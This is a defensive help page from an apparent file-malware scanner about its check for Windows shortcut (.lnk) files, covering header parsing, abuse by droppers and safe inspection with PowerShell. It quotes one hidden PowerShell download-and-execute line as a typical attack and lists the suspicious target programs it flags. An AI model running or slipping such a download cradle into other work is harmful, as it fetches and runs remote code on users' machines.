Windows shortcut (.lnk) file

The file is a Windows shortcut (.lnk), which can run any command line under any icon and any name, and is a favourite disguise for malware droppers.

Do this: Delete it; shortcuts run commands, they are not documents. A .lnk carries an arbitrary command line and an icon of your choosing, so it can look like anything.
PassThe file is not a Windows shortcut.
HighThe file is a Windows shortcut that runs a command when opened.

The fix, in one snippet

Example to adapt Read the target without clicking
Get-Content file.lnk -Encoding Byte | Format-Hex | Select -First 40

Illustrative values. Change the paths, hostnames and options to match your own site before using it.

The sections below explain what is tested, why it matters and the alternatives.

What we test

The scanner parses the Shell Link header (HeaderSize 0x4C and the LNK CLSID), the link flags, the target path, the relative path, the command-line arguments, the working directory, the icon location and index, and the ShowCommand value (7, SW_SHOWMINNOACTIVE, hides the window). It flags a target of cmd.exe, powershell.exe, mshta.exe, wscript.exe, cscript.exe, rundll32.exe or regsvr32.exe; arguments containing download cradles or encoded commands; an icon borrowed from a document viewer; arguments padded with whitespace so the Properties dialog looks empty (a technique documented by Trend Micro's Zero Day Initiative in 2025); and data appended after the shortcut structure, which is often the payload itself. The machine identifier stored in the tracker block is reported as information. Limits: a shortcut on your own desktop is normal; the same file arriving in an archive or email is not, and the scanner cannot know which you have.

Why it matters

Explorer never shows the .lnk extension, even with extensions enabled, so Invoice.pdf.lnk appears as Invoice.pdf with whatever icon the file specifies. Double-clicking runs the stored command line, typically powershell -w hidden -c "iwr http://…/a.exe -o $env:TEMP\a.exe; & $env:TEMP\a.exe". After Microsoft blocked internet macros in 2022, shortcuts became the leading first-stage file for Emotet, Qakbot, IcedID and Bumblebee. The 2010 Stuxnet exploit (CVE-2010-2568) even ran code merely by displaying the shortcut's icon. Windows users are the audience; other systems do not resolve .lnk files.

How to fix it

Never open a shortcut you received. To inspect one without running it, read the target and arguments from a script (in a virtual machine, since the Properties dialog truncates long targets):

$s = (New-Object -ComObject WScript.Shell).CreateShortcut("C:\path\Invoice.pdf.lnk")
$s.TargetPath; $s.Arguments; $s.IconLocation

Or use lnkinfo from the liblnk project. Delete the file; if it has run, follow the response steps under dangerous commands. Administrators should block .lnk attachments at the gateway. Related: archive contains an executable. Guides: disguised files and is this file safe?

Where this fits

Windows shortcut (.lnk) file is check 14 of 20 that the file malware scanner runs under file structure and malware indicators, ordered the way they are worth fixing. That ordering is the point: Fixing this one while the check above it still fails buys less than it looks like.

Fix this one first

Above it in the same category sits PDF contains launch or open actions (high), where the PDF contains an action that fires when the file opens or when you interact with it, such as launching a program, opening a URL or submitting form data. An attacker who has that does not need this, so it is the better use of the same hour.

What fixing this still leaves open

Windows shortcut (.lnk) file closes one route in. Immediately below it: Deeply nested archive, where the archive contains further archives several levels deep, a structure used to exhaust scanners and to strip the Mark of the Web before the payload arrives; Executable program file, where the file is an executable program (Windows PE, macOS Mach-O, Linux ELF, an installer or a script) that will run with your privileges if opened; PDF contains embedded files, where the PDF carries one or more attached files inside it, which can be executables, scripts or further documents that a reader can extract and open.

Prompt for an AI Hand this check to an assistant Sign in to copy it
The first few lines
You are a senior web engineer. I ran a security and SEO scanner against my site and it reported the finding below. Fix it properly rather than suppressing the symptom.

Finding: Windows shortcut (.lnk) file (high severity)
Scanner check id: windows-shortcut
17 more lines, including the evidence and the exact fix

The rest of this prompt names the pages and line numbers we found the problem on, the configuration to change, and the constraints a good answer has to respect. It is free, it just needs an account so the work is not scraped wholesale.

Sign in with Google

Signing in is free and takes one click. We store your email address and nothing else.

References

  1. Microsoft: [MS-SHLLINK] Shell Link Binary File Format
  2. Trend Micro ZDI: Windows shortcut exploit abused as zero-day (2025)
  3. MITRE ATT&CK T1204.002: Malicious File

Related guides